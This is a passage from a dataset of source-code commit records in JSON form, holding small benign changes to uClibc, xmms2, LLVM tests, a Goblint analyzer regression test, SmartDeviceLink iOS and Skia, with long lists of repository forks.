/AliPhysics,dmuhlhei\/AliPhysics,victor-gonzalez\/AliPhysics,pbuehler\/AliPhysics,fbellini\/AliPhysics,mvala\/AliPhysics,amatyja\/AliPhysics,amaringarcia\/AliPhysics,mpuccio\/AliPhysics,rderradi\/AliPhysics,yowatana\/AliPhysics,hzanoli\/AliPhysics,hzanoli\/AliPhysics,alisw\/AliPhysics,fbellini\/AliPhysics,amaringarcia\/AliPhysics,aaniin\/AliPhysics,dmuhlhei\/AliPhysics,pbatzing\/AliPhysics,hcab14\/AliPhysics,victor-gonzalez\/AliPhysics,nschmidtALICE\/AliPhysics,lfeldkam\/AliPhysics,sebaleh\/AliPhysics,rderradi\/AliPhysics,nschmidtALICE\/AliPhysics,SHornung1\/AliPhysics,yowatana\/AliPhysics,mbjadhav\/AliPhysics,alisw\/AliPhysics,AMechler\/AliPhysics,sebaleh\/AliPhysics,pbuehler\/AliPhysics,akubera\/AliPhysics,adriansev\/AliPhysics,pchrista\/AliPhysics,hcab14\/AliPhysics,dmuhlhei\/AliPhysics,btrzecia\/AliPhysics,nschmidtALICE\/AliPhysics,mvala\/AliPhysics,mazimm\/AliPhysics,ppribeli\/AliPhysics,sebaleh\/AliPhysics,dlodato\/AliPhysics,akubera\/AliPhysics,yowatana\/AliPhysics,btrzecia\/AliPhysics,yowatana\/AliPhysics,fbellini\/AliPhysics,rderradi\/AliPhysics,preghenella\/AliPhysics,amatyja\/AliPhysics,mbjadhav\/AliPhysics,jmargutt\/AliPhysics,carstooon\/AliPhysics,mvala\/AliPhysics,lcunquei\/AliPhysics,victor-gonzalez\/AliPhysics,adriansev\/AliPhysics,amaringarcia\/AliPhysics,kreisl\/AliPhysics,AudreyFrancisco\/AliPhysics,ppribeli\/AliPhysics,lfeldkam\/AliPhysics,rbailhac\/AliPhysics,lcunquei\/AliPhysics,jgronefe\/AliPhysics,fbellini\/AliPhysics,dlodato\/AliPhysics,dstocco\/AliPhysics,sebaleh\/AliPhysics,alisw\/AliPhysics,amatyja\/AliPhysics,mbjadhav\/AliPhysics,dlodato\/AliPhysics,dstocco\/AliPhysics,pbuehler\/AliPhysics,kreisl\/AliPhysics,fbellini\/AliPhysics,ALICEHLT\/AliPhysics,pchrista\/AliPhysics,mvala\/AliPhysics,alisw\/AliPhysics,hcab14\/AliPhysics,fcolamar\/AliPhysics,rihanphys\/AliPhysics,jmargutt\/AliPhysics,jmargutt\/AliPhysics,rderradi\/AliPhysics,btrzecia\/AliPhysics,jmargutt\/AliPhysics,mkrzewic\/AliPhysics,dstocco\/AliPhysics,yowatana\/AliPhysics,btrzecia\/AliPhysics,ppribeli\/AliPhysics,jmargutt\/AliPhysics,hcab14\/AliPhysics,hzanoli\/AliPhysics,rderradi\/AliPhysics,mpuccio\/AliPhysics,sebaleh\/AliPhysics,rbailhac\/AliPhysics,dmuhlhei\/AliPhysics,mkrzewic\/AliPhysics,rihanphys\/AliPhysics,mpuccio\/AliPhysics,yowatana\/AliPhysics,carstooon\/AliPhysics,pbatzing\/AliPhysics,jgronefe\/AliPhysics,mpuccio\/AliPhysics,lfeldkam\/AliPhysics,rihanphys\/AliPhysics,AMechler\/AliPhysics,nschmidtALICE\/AliPhysics,aaniin\/AliPhysics,pbatzing\/AliPhysics,kreisl\/AliPhysics,pbuehler\/AliPhysics,carstooon\/AliPhysics,rihanphys\/AliPhysics,rbailhac\/AliPhysics,jgronefe\/AliPhysics,fcolamar\/AliPhysics,dstocco\/AliPhysics,victor-gonzalez\/AliPhysics,kreisl\/AliPhysics,lfeldkam\/AliPhysics,pchrista\/AliPhysics,sebaleh\/AliPhysics,fcolamar\/AliPhysics,aaniin\/AliPhysics,rbailhac\/AliPhysics,ALICEHLT\/AliPhysics,jgronefe\/AliPhysics,mkrzewic\/AliPhysics,dmuhlhei\/AliPhysics,SHornung1\/AliPhysics,mpuccio\/AliPhysics,akubera\/AliPhysics,dlodato\/AliPhysics,carstooon\/AliPhysics,SHornung1\/AliPhysics,mazimm\/AliPhysics,mkrzewic\/AliPhysics,rihanphys\/AliPhysics,hzanoli\/AliPhysics,jmargutt\/AliPhysics,preghenella\/AliPhysics,akubera\/AliPhysics,jmargutt\/AliPhysics,rderradi\/AliPhysics,preghenella\/AliPhysics,rihanphys\/AliPhysics,AudreyFrancisco\/AliPhysics,ppribeli\/AliPhysics,alisw\/AliPhysics,pbatzing\/AliPhysics,akubera\/AliPhysics,mkrzewic\/AliPhysics,victor-gonzalez\/AliPhysics,akubera\/AliPhysics,ALICEHLT\/AliPhysics,fcolamar\/AliPhysics,carstooon\/AliPhysics,rderradi\/AliPhysics,pbatzing\/AliPhysics,lfeldkam\/AliPhysics,AudreyFrancisco\/AliPhysics,adriansev\/AliPhysics,jgronefe\/AliPhysics,SHornung1\/AliPhysics,hcab14\/AliPhysics,nschmidtALICE\/AliPhysics,hzanoli\/AliPhysics,ppribeli\/AliPhysics,ALICEHLT\/AliPhysics,ALICEHLT\/AliPhysics,aaniin\/AliPhysics,AudreyFrancisco\/AliPhysics,btrzecia\/AliPhysics,dstocco\/AliPhysics,victor-gonzalez\/AliPhysics,amatyja\/AliPhysics,mbjadhav\/AliPhysics,pbatzing\/AliPhysics,yowatana\/AliPhysics,mazimm\/AliPhysics,AMechler\/AliPhysics,fbellini\/AliPhysics,amaringarcia\/AliPhysics,dmuhlhei\/AliPhysics,nschmidtALICE\/AliPhysics,aaniin\/AliPhysics,adriansev\/AliPhysics,fcolamar\/AliPhysics,fbellini\/AliPhysics,mbjadhav\/AliPhysics,AMechler\/AliPhysics,AudreyFrancisco\/AliPhysics,amaringarcia\/AliPhysics,mvala\/AliPhysics,fcolamar\/AliPhysics,lcunquei\/AliPhysics,carstooon\/AliPhysics,hcab14\/AliPhysics,carstooon\/AliPhysics,adriansev\/AliPhysics,AMechler\/AliPhysics,dlodato\/AliPhysics,lcunquei\/AliPhysics,ppribeli\/AliPhysics,pbatzing\/AliPhysics,dmuhlhei\/AliPhysics,rihanphys\/AliPhysics,amatyja\/AliPhysics,btrzecia\/AliPhysics,hzanoli\/AliPhysics,mbjadhav\/AliPhysics,mpuccio\/AliPhysics,AudreyFrancisco\/AliPhysics,mazimm\/AliPhysics,adriansev\/AliPhysics,pbuehler\/AliPhysics,mvala\/AliPhysics"}
{"commit":"d00df20f3ab2dfe40e7c551582b100ea307e8fff","old_file":"libc\/sysdeps\/linux\/common\/remap_file_pages.c","new_file":"libc\/sysdeps\/linux\/common\/remap_file_pages.c","old_contents":"","new_contents":"\/*\n * remap_file_pages() for uClibc\n *\n * Copyright (C) 2008 Will Newton <will.newton@imgtec.com>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n\n#include <sys\/syscall.h>\n\n#ifdef __NR_remap_file_pages\n\n_syscall5(int, remap_file_pages, unsigned long, start, unsigned long, size,\n\t  unsigned long, prot, unsigned long, pgoff, unsigned long, flags);\n\n#endif\n","subject":"Add rempa_file_pages function by Will Newton <will.newton@imgtec.com>","message":"Add rempa_file_pages function by Will Newton <will.newton@imgtec.com>\n","lang":"C","license":"lgpl-2.1","repos":"foss-for-synopsys-dwc-arc-processors\/uClibc,hjl-tools\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ffainelli\/uClibc,m-labs\/uclibc-lm32,waweber\/uclibc-clang,brgl\/uclibc-ng,kraj\/uClibc,kraj\/uclibc-ng,ffainelli\/uClibc,atgreen\/uClibc-moxie,foss-xtensa\/uClibc,ysat0\/uClibc,hjl-tools\/uClibc,brgl\/uclibc-ng,kraj\/uClibc,mephi42\/uClibc,hwoarang\/uClibc,mephi42\/uClibc,mephi42\/uClibc,atgreen\/uClibc-moxie,foss-for-synopsys-dwc-arc-processors\/uClibc,waweber\/uclibc-clang,m-labs\/uclibc-lm32,atgreen\/uClibc-moxie,kraj\/uclibc-ng,mephi42\/uClibc,groundwater\/uClibc,brgl\/uclibc-ng,ffainelli\/uClibc,gittup\/uClibc,wbx-github\/uclibc-ng,foss-xtensa\/uClibc,kraj\/uclibc-ng,gittup\/uClibc,ndmsystems\/uClibc,gittup\/uClibc,kraj\/uclibc-ng,czankel\/xtensa-uclibc,groundwater\/uClibc,skristiansson\/uClibc-or1k,wbx-github\/uclibc-ng,hwoarang\/uClibc,ndmsystems\/uClibc,majek\/uclibc-vx32,ddcc\/klee-uclibc-0.9.33.2,hwoarang\/uClibc,groundwater\/uClibc,gittup\/uClibc,foss-xtensa\/uClibc,majek\/uclibc-vx32,OpenInkpot-archive\/iplinux-uclibc,hwoarang\/uClibc,czankel\/xtensa-uclibc,ysat0\/uClibc,kraj\/uClibc,skristiansson\/uClibc-or1k,m-labs\/uclibc-lm32,czankel\/xtensa-uclibc,ndmsystems\/uClibc,m-labs\/uclibc-lm32,majek\/uclibc-vx32,ffainelli\/uClibc,czankel\/xtensa-uclibc,waweber\/uclibc-clang,majek\/uclibc-vx32,OpenInkpot-archive\/iplinux-uclibc,wbx-github\/uclibc-ng,ddcc\/klee-uclibc-0.9.33.2,kraj\/uClibc,OpenInkpot-archive\/iplinux-uclibc,ffainelli\/uClibc,ndmsystems\/uClibc,wbx-github\/uclibc-ng,brgl\/uclibc-ng,hjl-tools\/uClibc,ysat0\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ysat0\/uClibc,hjl-tools\/uClibc,OpenInkpot-archive\/iplinux-uclibc,groundwater\/uClibc,skristiansson\/uClibc-or1k,waweber\/uclibc-clang,skristiansson\/uClibc-or1k,foss-xtensa\/uClibc,ddcc\/klee-uclibc-0.9.33.2,ddcc\/klee-uclibc-0.9.33.2,hjl-tools\/uClibc,atgreen\/uClibc-moxie,groundwater\/uClibc"}
{"commit":"b81e65b9c6579e02684f0b313060b17d7ba669ef","old_file":"src\/include\/xmmsclient\/xmmsclient++\/detail\/superlist.h","new_file":"src\/include\/xmmsclient\/xmmsclient++\/detail\/superlist.h","old_contents":"#ifndef XMMSCLIENTPP_SUPERLIST_H\n#define XMMSCLIENTPP_SUPERLIST_H\n\n#include <xmmsclient\/xmmsclient.h>\n\nnamespace Xmms\n{\n\n\tnamespace Detail\n\t{\n\t\tclass SuperList\n\t\t{\n\n\t\t\tpublic:\n\t\t\t\tSuperList( xmmsc_result_t* result );\n\t\t\t\tSuperList( const SuperList& list );\n\t\t\t\tvirtual SuperList& operator=( const SuperList& list );\n\t\t\t\tvirtual ~SuperList();\n\n\t\t\t\tvirtual void first();\n\t\t\t\tvirtual void operator++();\n\n\t\t\t\tvirtual bool isValid() const;\n\n\t\t\tprotected:\n\t\t\t\txmmsc_result_t* result_;\n\t\t\t\tbool constructed_;\n\n\t\t\t\tvirtual void constructContents() = 0;\n\n\t\t};\n\n\t\tvoid dict_foreach( const void* key,\n\t\t                   xmmsc_result_value_type_t type,\n\t\t\t\t\t\t   const void* value,\n\t\t\t\t\t\t   void* udata );\n\n\t\tvoid propdict_foreach( const void* key,\n\t\t                       xmmsc_result_value_type_t type,\n\t\t\t\t\t\t\t   const void* value,\n\t\t\t\t\t\t\t   const char* source,\n\t\t\t\t\t\t\t   void* udata );\n\n\t}\n\n}\n#endif \/\/ XMMSCLIENTPP_SUPERLIST_H\n","new_contents":"#ifndef XMMSCLIENTPP_SUPERLIST_H\n#define XMMSCLIENTPP_SUPERLIST_H\n\n#include <xmmsclient\/xmmsclient.h>\n\nnamespace Xmms\n{\n\n\tnamespace Detail\n\t{\n\t\tclass SuperList\n\t\t{\n\n\t\t\tpublic:\n\t\t\t\tSuperList( xmmsc_result_t* result );\n\t\t\t\tSuperList( const SuperList& list );\n\t\t\t\tvirtual SuperList& operator=( const SuperList& list );\n\t\t\t\tvirtual ~SuperList();\n\n\t\t\t\tvirtual void first();\n\t\t\t\tvirtual void operator++();\n\n\t\t\t\tvirtual bool isValid() const;\n\n\t\t\tprotected:\n\t\t\t\txmmsc_result_t* result_;\n\t\t\t\tbool constructed_;\n\n\t\t\t\tvirtual void constructContents() = 0;\n\n\t\t};\n\n\t}\n\n}\n#endif \/\/ XMMSCLIENTPP_SUPERLIST_H\n","subject":"Remove obsolete *_foreach function completely (Function declarations were still there).","message":"OTHER: Remove obsolete *_foreach function completely (Function declarations were still there).\n","lang":"C","license":"lgpl-2.1","repos":"oneman\/xmms2-oneman,theefer\/xmms2,krad-radio\/xmms2-krad,krad-radio\/xmms2-krad,oneman\/xmms2-oneman-old,oneman\/xmms2-oneman,krad-radio\/xmms2-krad,mantaraya36\/xmms2-mantaraya36,mantaraya36\/xmms2-mantaraya36,chrippa\/xmms2,dreamerc\/xmms2,oneman\/xmms2-oneman,six600110\/xmms2,oneman\/xmms2-oneman,xmms2\/xmms2-stable,chrippa\/xmms2,xmms2\/xmms2-stable,theefer\/xmms2,theefer\/xmms2,dreamerc\/xmms2,theeternalsw0rd\/xmms2,theefer\/xmms2,krad-radio\/xmms2-krad,krad-radio\/xmms2-krad,xmms2\/xmms2-stable,chrippa\/xmms2,theeternalsw0rd\/xmms2,dreamerc\/xmms2,xmms2\/xmms2-stable,theefer\/xmms2,theeternalsw0rd\/xmms2,dreamerc\/xmms2,dreamerc\/xmms2,six600110\/xmms2,xmms2\/xmms2-stable,mantaraya36\/xmms2-mantaraya36,six600110\/xmms2,mantaraya36\/xmms2-mantaraya36,oneman\/xmms2-oneman,theeternalsw0rd\/xmms2,oneman\/xmms2-oneman-old,theeternalsw0rd\/xmms2,xmms2\/xmms2-stable,oneman\/xmms2-oneman,chrippa\/xmms2,mantaraya36\/xmms2-mantaraya36,chrippa\/xmms2,oneman\/xmms2-oneman,six600110\/xmms2,mantaraya36\/xmms2-mantaraya36,theefer\/xmms2,oneman\/xmms2-oneman-old,chrippa\/xmms2,oneman\/xmms2-oneman-old,six600110\/xmms2,krad-radio\/xmms2-krad,oneman\/xmms2-oneman-old,six600110\/xmms2,mantaraya36\/xmms2-mantaraya36,theeternalsw0rd\/xmms2,theefer\/xmms2"}
{"commit":"6bd8aa8399baa16f171219368543c1a4fa88663e","old_file":"test\/FrontendC\/2007-06-05-NoInlineAttribute.c","new_file":"test\/FrontendC\/2007-06-05-NoInlineAttribute.c","old_contents":"\/\/ RUN: %llvmgcc -c -emit-llvm %s -o - | llvm-dis | grep llvm.noinline \n\nstatic int bar(int x, int y) __attribute__((noinline));\n\nstatic int bar(int x, int y)  \n{\n return x + y;\n}\n\nint foo(int a, int b) {\n return  bar(b, a);\n}\n\n","new_contents":"\/\/ RUN: %llvmgcc -O2 -c -emit-llvm %s -o - | llvm-dis | grep call\n\nstatic int bar(int x, int y) __attribute__((noinline));\n\nstatic int bar(int x, int y)  \n{\n return x + y;\n}\n\nint foo(int a, int b) {\n return  bar(b, a);\n}\n\n","subject":"Update test to check call instruction.","message":"Update test to check call instruction.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@55702 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm"}
{"commit":"a11f0a4469ec047cecd9b91a23680c7b48fb268a","old_file":"tests\/regression\/22-partitioned_arrays\/17-large_arrays.c","new_file":"tests\/regression\/22-partitioned_arrays\/17-large_arrays.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.interval --enable exp.partition-arrays.enabled\n#include <assert.h>\n#include <stdlib.h>\n#include <limits.h>\n#include <stdio.h>\n#include <stddef.h>\n\n\/\/ Test to check whether partitioned arrays can have an index expression evaluating to values largers than the max value of int64\n\n#define LENGTH (LONG_MAX - 600)\n#define STOP (LENGTH - 1)\n\nint main(){\n    \/\/ Check that ptdrdiff_t is at least as big as long, so we can index arrays with non-negative longs\n    assert(sizeof(ptrdiff_t) >= sizeof(long));\n\n    char *arr = calloc(LENGTH, sizeof(char));\n    if(arr == NULL){\n        printf(\"Could not allocate array, exiting.\\n\");\n        return 1;\n    }\n\n    for(unsigned long i = 0; i < STOP; i++){\n        arr[i] = 1;\n    }\n\n    \/\/ arr[0] ... arr[STOP - 1] should be 1, the others equal to 0\n    assert(arr[0] == 1);\n    assert(arr[INT_MAX + 1l] == 1);\n\n    \/\/ j is the smallest index that checking triggers the unsoundness\n    \/\/ long j = ((long) INT_MAX) * INT_MAX * 2 + INT_MAX - 1;\n    long j = LONG_MAX - 6442450943;\n    assert(0 < j);\n    assert(j < STOP);\n\n    \/\/ This check still works\n    assert(arr[j - 1] == 1);\n\n    \/\/ These two fail somehow\n    assert(arr[j] == 1);\n    assert(arr[STOP - 1] == 1);\n\n    assert(arr[STOP] == 0);\n    assert(arr[LENGTH - 1] == 0);\n    return 0;\n}\n","subject":"Add test with very large arrays where partitioned array is unsound","message":"Add test with very large arrays where partitioned array is unsound\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"78f00d293967fb8f8ce045137a5980a2e55b7de5","old_file":"SmartDeviceLink-iOS\/SmartDeviceLink\/SDLDebugToolConsole.h","new_file":"SmartDeviceLink-iOS\/SmartDeviceLink\/SDLDebugToolConsole.h","old_contents":"\/\/\n\/\/  SDLDebugToolConsole.h\n\/\/  SmartDeviceLink-iOS\n\/\/\n\/\/  Created by Joel Fischer on 3\/12\/15.\n\/\/  Copyright (c) 2015 smartdevicelink. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol SDLDebugToolConsole <NSObject>\n\n@required\n- (void)logInfo:(NSString *)info;\n\n@end\n","new_contents":"\/\/\n\/\/  SDLDebugToolConsole.h\n\/\/  SmartDeviceLink-iOS\n\n#import <Foundation\/Foundation.h>\n\n@protocol SDLDebugToolConsole <NSObject>\n\n@required\n- (void)logInfo:(NSString *)info;\n\n@end\n","subject":"Remove copyright from new file","message":"Remove copyright from new file\n","lang":"C","license":"bsd-3-clause","repos":"FordDev\/sdl_ios,kshala-ford\/sdl_ios,smartdevicelink\/sdl_ios,adein\/sdl_ios,kshala-ford\/sdl_ios,FordDev\/sdl_ios,davidswi\/sdl_ios,adein\/sdl_ios,smartdevicelink\/sdl_ios,APCVSRepo\/sdl_ios,APCVSRepo\/sdl_ios,kshala-ford\/sdl_ios,kshala-ford\/sdl_ios,davidswi\/sdl_ios,kshala-ford\/sdl_ios,davidswi\/sdl_ios,smartdevicelink\/sdl_ios,FordDev\/sdl_ios,FordDev\/sdl_ios,duydb2\/sdl_ios,davidswi\/sdl_ios,APCVSRepo\/sdl_ios,davidswi\/sdl_ios,duydb2\/sdl_ios,APCVSRepo\/sdl_ios,FordDev\/sdl_ios,APCVSRepo\/sdl_ios,smartdevicelink\/sdl_ios,smartdevicelink\/sdl_ios,duydb2\/sdl_ios"}
{"commit":"e9f091d7cd6eeccb0c1b84226a8543dc8a3d285a","old_file":"samplecode\/GMSampleView.h","new_file":"samplecode\/GMSampleView.h","old_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#ifndef GMSampleView_DEFINED\n#define GMSampleView_DEFINED\n\n#include \"SampleCode.h\"\n#include \"gm.h\"\n\nclass GMSampleView : public SampleView {\nprivate:\n    typedef skiagm::GM GM;\n\npublic:\n    GMSampleView(GM* gm)\n    : fGM(gm) {}\n    \n    virtual ~GMSampleView() {\n        delete fGM;\n    }\n    \nprotected:\n    virtual bool onQuery(SkEvent* evt) {\n        if (SampleCode::TitleQ(*evt)) {\n            SkString name(\"GM \");\n            name.append(fGM->shortName());\n            SampleCode::TitleR(evt, name.c_str());\n            return true;\n        }\n        return this->INHERITED::onQuery(evt);\n    }\n    \n    virtual void onDrawContent(SkCanvas* canvas) {\n        fGM->drawContent(canvas);\n    }\n\n    virtual void onDrawBackground(SkCanvas* canvas) {\n        fGM->drawBackground(canvas);\n    }\n\nprivate:\n    GM* fGM;\n    typedef SampleView INHERITED;\n};\n\n#endif\n","new_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#ifndef GMSampleView_DEFINED\n#define GMSampleView_DEFINED\n\n#include \"SampleCode.h\"\n#include \"gm.h\"\n\nclass GMSampleView : public SampleView {\nprivate:\n    typedef skiagm::GM GM;\n\npublic:\n    GMSampleView(GM* gm)\n    : fGM(gm) {}\n    \n    virtual ~GMSampleView() {\n        delete fGM;\n    }\n    \nprotected:\n    virtual bool onQuery(SkEvent* evt) {\n        if (SampleCode::TitleQ(*evt)) {\n            SkString name(\"GM:\");\n            name.append(fGM->shortName());\n            SampleCode::TitleR(evt, name.c_str());\n            return true;\n        }\n        return this->INHERITED::onQuery(evt);\n    }\n    \n    virtual void onDrawContent(SkCanvas* canvas) {\n        fGM->drawContent(canvas);\n    }\n\n    virtual void onDrawBackground(SkCanvas* canvas) {\n        fGM->drawBackground(canvas);\n    }\n\nprivate:\n    GM* fGM;\n    typedef SampleView INHERITED;\n};\n\n#endif\n","subject":"Use : as separator between \"GM\" and slide name in SampleApp. This makes it easier to jump to a GM slide using command line args on windows.","message":"Use : as separator between \"GM\" and slide name in SampleApp. This makes it easier to jump to a GM slide using command line args on windows.\n\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@2846 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"Pure-Aosp\/android_external_skia,F-AOSP\/platform_external_skia,geekboxzone\/lollipop_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,MinimalOS\/android_external_chromium_org_third_party_skia,F-AOSP\/platform_external_skia,AOSPA-L\/android_external_skia,tmpvar\/skia.cc,RadonX-ROM\/external_skia,larsbergstrom\/skia,YUPlayGodDev\/platform_external_skia,mydongistiny\/external_chromium_org_third_party_skia,houst0nn\/external_skia,OptiPop\/external_skia,nfxosp\/platform_external_skia,GladeRom\/android_external_skia,AOSPB\/external_skia,RadonX-ROM\/external_skia,vvuk\/skia,larsbergstrom\/skia,chenlian2015\/skia_from_google,wildermason\/external_skia,nvoron23\/skia,ench0\/external_skia,spezi77\/android_external_skia,PAC-ROM\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,Hybrid-Rom\/external_skia,ench0\/external_skia,aosp-mirror\/platform_external_skia,ench0\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,GladeRom\/android_external_skia,OptiPop\/external_skia,UBERMALLOW\/external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,AsteroidOS\/android_external_skia,Jichao\/skia,ench0\/external_chromium_org_third_party_skia,amyvmiwei\/skia,MyAOSP\/external_chromium_org_third_party_skia,jtg-gg\/skia,nox\/skia,MinimalOS\/external_skia,BrokenROM\/external_skia,Plain-Andy\/android_platform_external_skia,RadonX-ROM\/external_skia,MarshedOut\/android_external_skia,byterom\/android_external_skia,geekboxzone\/mmallow_external_skia,larsbergstrom\/skia,sudosurootdev\/external_skia,mydongistiny\/android_external_skia,MinimalOS\/android_external_skia,pcwalton\/skia,qrealka\/skia-hc,tmpvar\/skia.cc,HealthyHoney\/temasek_SKIA,MinimalOS-AOSP\/platform_external_skia,Euphoria-OS-Legacy\/android_external_skia,larsbergstrom\/skia,geekboxzone\/mmallow_external_skia,AOSP-YU\/platform_external_skia,amyvmiwei\/skia,VRToxin-AOSP\/android_external_skia,byterom\/android_external_skia,android-ia\/platform_external_skia,Pure-Aosp\/android_external_skia,todotodoo\/skia,MinimalOS\/android_external_skia,AOSPB\/external_skia,ench0\/external_chromium_org_third_party_skia,Khaon\/android_external_skia,Omegaphora\/external_skia,Infusion-OS\/android_external_skia,MinimalOS\/external_skia,Hikari-no-Tenshi\/android_external_skia,amyvmiwei\/skia,todotodoo\/skia,samuelig\/skia,FusionSP\/external_chromium_org_third_party_skia,TeslaProject\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,TeslaOS\/android_external_skia,qrealka\/skia-hc,ench0\/external_chromium_org_third_party_skia,Android-AOSP\/external_skia,TeslaProject\/external_skia,aosp-mirror\/platform_external_skia,HealthyHoney\/temasek_SKIA,android-ia\/platform_external_skia,Infusion-OS\/android_external_skia,nox\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,timduru\/platform-external-skia,wildermason\/external_skia,byterom\/android_external_skia,Khaon\/android_external_skia,vanish87\/skia,HealthyHoney\/temasek_SKIA,sombree\/android_external_skia,aospo\/platform_external_skia,VentureROM-L\/android_external_skia,VentureROM-L\/android_external_skia,HalCanary\/skia-hc,AsteroidOS\/android_external_skia,Plain-Andy\/android_platform_external_skia,MinimalOS\/external_chromium_org_third_party_skia,DiamondLovesYou\/skia-sys,MIPS\/external-chromium_org-third_party-skia,YUPlayGodDev\/platform_external_skia,mmatyas\/skia,android-ia\/platform_external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,suyouxin\/android_external_skia,HalCanary\/skia-hc,vvuk\/skia,temasek\/android_external_skia,mmatyas\/skia,sombree\/android_external_skia,scroggo\/skia,rubenvb\/skia,TeamBliss-LP\/android_external_skia,geekboxzone\/mmallow_external_skia,larsbergstrom\/skia,w3nd1go\/android_external_skia,HalCanary\/skia-hc,ctiao\/platform-external-skia,houst0nn\/external_skia,AOSP-YU\/platform_external_skia,Pure-Aosp\/android_external_skia,DARKPOP\/external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,boulzordev\/android_external_skia,geekboxzone\/lollipop_external_skia,google\/skia,timduru\/platform-external-skia,SlimSaber\/android_external_skia,fire855\/android_external_skia,samuelig\/skia,ctiao\/platform-external-skia,Fusion-Rom\/android_external_skia,pcwalton\/skia,ctiao\/platform-external-skia,InfinitiveOS\/external_skia,TeamTwisted\/external_skia,OneRom\/external_skia,invisiblek\/android_external_skia,sigysmund\/platform_external_skia,mydongistiny\/external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,ominux\/skia,DesolationStaging\/android_external_skia,shahrzadmn\/skia,larsbergstrom\/skia,MonkeyZZZZ\/platform_external_skia,vanish87\/skia,sigysmund\/platform_external_skia,android-ia\/platform_external_skia,SlimSaber\/android_external_skia,codeaurora-unoffical\/platform-external-skia,NamelessRom\/android_external_skia,boulzordev\/android_external_skia,Plain-Andy\/android_platform_external_skia,xzzz9097\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,ominux\/skia,TeamTwisted\/external_skia,Android-AOSP\/external_skia,SlimSaber\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,sigysmund\/platform_external_skia,AOSP-YU\/platform_external_skia,DiamondLovesYou\/skia-sys,vanish87\/skia,FusionSP\/external_chromium_org_third_party_skia,Purity-Lollipop\/platform_external_skia,sigysmund\/platform_external_skia,pcwalton\/skia,MyAOSP\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,BrokenROM\/external_skia,F-AOSP\/platform_external_skia,akiss77\/skia,wildermason\/external_skia,DiamondLovesYou\/skia-sys,Infusion-OS\/android_external_skia,SlimSaber\/android_external_skia,rubenvb\/skia,MIPS\/external-chromium_org-third_party-skia,chenlian2015\/skia_from_google,AsteroidOS\/android_external_skia,vvuk\/skia,HalCanary\/skia-hc,fire855\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,android-ia\/platform_external_skia,Hybrid-Rom\/external_skia,nvoron23\/skia,boulzordev\/android_external_skia,OneRom\/external_skia,Infinitive-OS\/platform_external_skia,ominux\/skia,Samsung\/skia,Infusion-OS\/android_external_skia,qrealka\/skia-hc,AOSPU\/external_chromium_org_third_party_skia,Plain-Andy\/android_platform_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,nox\/skia,qrealka\/skia-hc,nfxosp\/platform_external_skia,GladeRom\/android_external_skia,sigysmund\/platform_external_skia,google\/skia,tmpvar\/skia.cc,Jichao\/skia,google\/skia,VentureROM-L\/android_external_skia,ominux\/skia,rubenvb\/skia,MinimalOS\/external_chromium_org_third_party_skia,noselhq\/skia,OneRom\/external_skia,Omegaphora\/external_skia,chenlian2015\/skia_from_google,nvoron23\/skia,DiamondLovesYou\/skia-sys,zhaochengw\/platform_external_skia,w3nd1go\/android_external_skia,pacerom\/external_skia,NamelessRom\/android_external_skia,GladeRom\/android_external_skia,google\/skia,amyvmiwei\/skia,Fusion-Rom\/android_external_skia,F-AOSP\/platform_external_skia,TeslaProject\/external_skia,FusionSP\/external_chromium_org_third_party_skia,wildermason\/external_skia,nfxosp\/platform_external_skia,AOSPU\/external_chromium_org_third_party_skia,sombree\/android_external_skia,Infusion-OS\/android_external_skia,Hybrid-Rom\/external_skia,mydongistiny\/external_chromium_org_third_party_skia,F-AOSP\/platform_external_skia,AOSPU\/external_chromium_org_third_party_skia,Samsung\/skia,shahrzadmn\/skia,samuelig\/skia,VentureROM-L\/